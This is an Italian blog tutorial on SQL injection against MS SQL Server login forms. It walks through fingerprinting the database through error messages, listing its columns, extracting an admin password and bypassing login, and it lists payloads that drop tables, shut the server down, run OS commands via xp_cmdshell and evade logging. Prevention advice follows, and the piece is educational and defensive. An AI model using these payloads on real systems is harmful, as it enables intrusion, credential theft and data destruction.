Questo sito utilizza i cookie per personalizzare i contenuti e gli annunci (Google AdSense), fornire le funzioni dei social media (condivisione degli articoli) e analizzare il traffico (Google Analytics). Inoltre fornisce informazioni sul modo in cui utilizzi il sito alle agenzie pubblicitarie, agli istituti che eseguono analisi dei dati web e ai social media miei partner (Google). Il proseguimento nella navigazione implica un tacito assenso all'utilizzo dei cookies. Se non sei d'accordo sull'utilizzo, ti invito ad allontanarti da questo sito. Visualizza i dettagli.

Venerdì 9 Dicembre 2016

Valutazione attuale: 5 / 5

Stella attivaStella attivaStella attivaStella attivaStella attiva
 
Quando l'inesperienza, la fretta o la distrazione fanno diventare il motore della base dati un'arma a doppio taglio.
Che cos'è?

Per SQL Injection si intende la tecnica di hacking che, tramite l'invio di SQL indesiderato ad una applicazione, consente ad un cracker di:

  • manipolare i nostri dati
  • accedere ad aree riservate
  • visualizzare informazioni personali


Cosa causa la vulnerabilità alla SQL Injection?

Una vulnerabilità ad attacchi SQL Injection è solitamente provocata dagli sviluppatori che usano tecniche di creazione delle stringhe per effettuare query SQL senza adoperare determinati accorgimenti. Per esempio, in una pagina di login, il programmatore potrebbe usare il seguente codice per eseguire una query (esempio in VBScript/ASP):


$sql = "SELECT * from tab_utenti WHERE login='$login' AND password='$password'";

Nel caso in cui non vengano compiuti controlli, una query del genere può essere comodamente modificata manipolando $login, che potrebbe diventare ad esempio


pippo' OR 1=1 --

stravolgendo totalmente la query iniziale e trasformandola in:

SELECT * from tab_utenti WHERE login='pippo' OR 1=1 --' AND password=''
Da notare che l'apice all'interno di $login assume un valore particolare nella query SQL concludendo una variabile e dando la possibilità di accodare l'operatore OR che aggiunge una clausola fittizia (1=1 è sempre vero) ed i caratteri -- che in SQL corrispondono ad un commento. La query restituirà quindi sempre dei valori

In questo modo è possibile, avendo una discreta conoscenza del linguaggio SQL e delle sue differenziazioni nelle varie versioni di dB, ottenere tutte le informazioni che si vuole da un sito vulnerabile

Un attacco nel dettaglio...

Prima di poter accedere ai dati il cracker deve conoscere la struttura del database: motore dB utilizzato, nomi delle tabelle, delle colonne, tipi di dati contenuti.
Di seguito sono riportati i metodi principali per trovare le informazioni occorrenti.
Gli esempi si riferiscono a MS SQL Server, il comando va inserito per intero nella variabile $login.

Per prima cosa bisogna conoscere il motore dB usato dal sito. Per far questo basta inserire la stringa


' having 0=0"

il sito risponderà con

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column "COLONNA" is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
E' chiaro che il programmatore ha adottato un server Microsoft SQL.
A seconda delle informazioni necessarie basterà inserire la stringa adeguata:

Obiettivo: Trovare il nome della tabella e della prima colonna
Comando: ' having 0=0'
Risultato: Column 'members.UserID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Obiettivo: Trovare il nome della colonna successiva
Comando: ' group by members.UserID having 0=0--
Risultato: Column 'members.Password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Obiettivo: Estrarre i nomi di tutte le colonne successive
Comando: ' group by members.UserID, members.Password having 0=0 --
Risultato: Column 'members.FirstName' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Il comando può essere ripetuto, continuando ad aggiungere i nomi appena trovati separati da virgola, fino a quando il server non mostrerà più alcun errore. In tal caso saranno stati svelati tutti i nomi delle colonne, utilizzabili per inserire nuovi dati nel database.
Obiettivo: Scoprire se esiste un utente administrator
Comando: ' union select min(UserID),1,1,1 from members where UserID > 'a'--
Risultato: Syntax error converting the varchar value 'admin' to a column of data type int.

Obiettivo: Trovare la password dell'utente admin
Comando: ' union select Password,1,1,1 from members where UserID = 'admin'--
Risultato: Syntax error converting the varchar value 'pippo80' to a column of data type int.
Una volta trovata l'applicazione vulnerabile, per aggirare il login basta solitamente un solo comando.
Nel caso della query di esempio lo script ad essa associato certamente andrà a controllare se l'esecuzione della query restituisce almeno un record. Se si, consente di proseguire nella navigazione considerando l'utente autenticato, altrimenti rimanderà ad una pagina di errore e quindi ripeterà la procedura di login. Nel caso il cracker inietti codice SQL falsando il significato della QUERY riuscirebbe a scavalcare la procedura di login avendo accesso al sito dato che la query

SELECT * from tab_utenti WHERE login='pippo' OR 1=1 --' AND password=''
restituirà sempre almeno un record.


Comandi avanzati

Sebbene la stringa che abbiamo appena visto possa essere considerata il deus ex machina della SQL injection, esistono molti altri modi per manipolare il login e per eseguire comandi sul server. Vediamone alcuni.



Username:
admin' --
Effetto: Autenticazione come utente admin

Username: ' OR ''='
Password: ' OR ''='
Effetto: Autenticazione senza credenziali

Username: ' ; drop table members--
Effetto: Eliminazione della tabella di un database

Username: aaaaaaaaaaaaaaa'
Password: ' ; shutdown --
Effetto: Chiusura del database

Username: ' ;EXEC master..xp_cmdshell 'dir';--
Effetto: Esecuzione del comando dir per ottenere un listato delle directory

Username: ' ;EXEC master..xp_regread HKEY_LOCAL_MACHINE,'percorso','chiave'--
Effetto: Lettura di una chiave del registro di Windows

Username: ' or 0=0 --sp_password
Effetto: Autenticazione come primo utente della tabella users. L'aggiunta di sp_password fa in modo che la stringa non venga visualizzata fra i log di SQL Server (vale per tutti i comandi).

Quali sono gli effetti id un attacco?

Non è semplice stabilirloin pima istanza. Come abbiamo visto il codice 'injected' funziona in qualunque applicazione è configurato l'utilizzo di SQL. Sfortunatamente molte applicazioni girano con livelli eccessivi di privilegi, come quelle che utilizzano account 'sa', 'root' o altri account con i privilegi di proprietario del database. In molti casi gli sviluppatori fanno ciò per evitare di dover configurare e mantenere i permessi per i loro oggetti del database. Questo è un errore.
Di seguito una tabella delle possibili conseguenze del funzionamento di SQL con privilegi eccessivi, nello specifico si fa riferimento a Ms SQL Server:


Privilege Level Conseguenze
Sa / Root
Totale controllo del SQL server con una shell del sistema operativo al livello di privilegi del servizio MSSQLSERVER usando l'extended stored procedure xp_cmdshell. Possibilità di leggere, scrivere e cancellare tutti i dati presenti in SQL server.
db_owner
Possibilità di leggere e scrivere tutti i dati del database in questione. Possibilità di eliminare tabelle, creare nuovi oggetti e in generale avere il controllo totale del database in questione.
normal user (raccomandato)
Possibilità di accedere in modo nativo a tutti gli oggetti del database a cui l'account può accedere. Al meglio questo significa poter solo lanciare stored procedures. Al peggio questo significa poter leggere e scrivere in tutte le tabelle e le viste.



Come è possibile prevenire arginare una vulnerabilità SQL injection?

Come abbiamo visto non è poi tanto complicato mettere a segno un attacco SQL Injection. Altrettanto semplice risulta essere la sua 'profilassi', basta seguire alcuni semplici accorgimenti.

  • Se in un form vengono richiesti dei dati di tipo stringa, sostituire gli apici con due apici usando la funzione replace o funzioni equivalenti, di seguito un esempio vbscript
goodString = replace(inputString,','')
  • Se in un form vengono richiesti dei dati di tipo numerico, verificare il tipo di dato usando ISNUMERIC o funzioni equivalenti

  • Usare le stored procedure per astrarre l'accesso ai dati così che gli utenti non accedano direttamente a tabelle e viste

  • Quando si usano stored procedure, implementarle usando l'oggetto ADO così che le variabili siano sicuramente tipizzate

  • Creare codice standard che coinvolge spesso una rivisitazione e test del programma
Come verificare la vulnerabilità di un'applicazione ad attacchi di tipo SQL injection?

Un metodo che si raccomanda è quello di disabilitare (nella piattaforma di test) l'error handling così che vengano visualizzati gli errori ODBC o gli errori SQL Server. Basterà semplicemente tentare di immettere gli apici nelle form di inserimento dati. Se questo causa un malfunzionamento si è in presenza di una insufficiente validazione dei caratteri inseriti e quindi di una vulnerabilità . Come sempre, una buona revisione del codice è il metodo migliore per aumentare gli standard qualitativi di sicurezza.
Concludo con un monito per i commerciali e la classe dirigente che, spesso, detta le date di consegna delle applicazioni.
Le operazioni per la sicurezza di un'applicazione aumentano i tempi di lavorazione, quindi allungano i tempi di consegna e fanno lievitare i costi dello sviluppo. Meglio pagare per ottenere un'applicazione valida e sicura, soprattutto conoscendo l'ammontare dei costi, piuttosto che far fronte ai danni di un attacco futuro, di cui ad ora non si conoscono i costi ne le conseguenze legali se i dati divulgati dovessero essere dati sensibili.



Buon lavoro a tutti